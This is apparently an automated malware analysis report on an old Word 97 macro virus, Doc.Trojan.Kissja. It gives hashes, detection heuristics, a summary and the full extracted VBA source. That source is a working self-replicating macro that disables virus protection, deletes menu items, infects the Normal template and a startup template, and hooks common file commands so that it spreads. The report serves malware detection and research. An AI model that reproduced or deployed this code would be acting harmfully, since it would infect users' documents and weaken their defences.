Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3806a081c592015f…

MALICIOUS

Office (OLE)

31.0 KB Created: 1999-08-11 19:05:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 874bc8b3882e2f273fb7f515bc56e5a9 SHA-1: 2d06b96d29a5023c5a17f5cd3008042de68fec9e SHA-256: 3806a081c592015fbb5b06a11c14fe09baada366e35bf905bf478ba163de2a09
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close, which are indicative of older macro-based malware. The script attempts to export its own code to 'c:\MSWord.sys' and import it into both the Normal template and the active document, suggesting an attempt to achieve persistence or ensure execution. It also attempts to save itself as 'MSWord.dot' in the application startup path, further indicating persistence mechanisms.

Heuristics 5

  • ClamAV: Doc.Trojan.Kissja-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Kissja-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3002 bytes
SHA-256: c918c372203698c99dabfab88dfcdc7376a1bf05c4e06d6ef74759b1aed1b7d9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MSWord"
Public Myself, NormInstall, ActivInstall As Boolean
Private FinalClose As Boolean
Private HoldDoc As String

Sub W97()
On Error Resume Next
Myself = True
Application.ScreenUpdating = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
HoldDoc = ActiveDocument.FullName
CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
CommandBars("Format").Controls("Style...").Delete
If (GetAttr(NormalTemplate.FullName) <> vbNormal) Then SetAttr (NormalTemplate.FullName), vbNormal
' Get up, get up Bulgarian superman!!
Application.VBE.ActiveVBProject.VBComponents("MSWord").Export "c:\MSWord.sys"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
'666
If NormalTemplate.VBProject.VBComponents(I).Name = "MSWord" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "MSWord" Then ActivInstall = True
Next I
If NormInstall = False Then NormalTemplate.VBProject.VBComponents.Import ("c:\MSWord.sys")
If ActivInstall = False Then ActiveDocument.VBProject.VBComponents.Import ("c:\MSWord.sys")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
'W97.Kissja_Tommy.G (c) 1998 by Vesselin Bontchev
If (GetAttr(Application.StartupPath + "\MSWord.dot") <> vbNormal) Then SetAttr (Application.StartupPath + "\MSWord.dot"), vbNormal
ActiveDocument.SaveAs FileName:=Application.StartupPath + "\MSWord.dot", _
FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
If FinalClose = False Then Documents.Open FileName:=HoldDoc
Documents("MSWord.dot").Close
SetAttr (Application.StartupPath + "\MSWord.dot"), vbReadOnly
Application.ScreenUpdating = True
Myself = False
End Sub

Sub AutoOpen()
On Error Resume Next
If Myself = False Then Call W97
End Sub

Sub AutoClose()
On Error Resume Next
FinalClose = True
Call W97
End Sub

Sub AutoExit()
On Error Resume Next
Call W97
End Sub

Sub FileSaveAs()
On Error Resume Next
Call W97
Dialogs(wdDialogFileSaveAs).Show
End Sub

Sub filesave()
On Error Resume Next
Call W97
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub

Sub fileclose()
On Error Resume Next
Call W97
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
ActiveDocument.Close
End Sub

Sub fileprint()
On Error Resume Next
Call W97
Dialogs(wdDialogFilePrint).Show
End Sub

Sub ViewVBCode()
On Error Resume Next
Call W97
End Sub

Sub ToolsMacro()
On Error Resume Next
Call W97
End Sub

Sub FileTemplates()
On Error Resume Next
Call W97
End Sub

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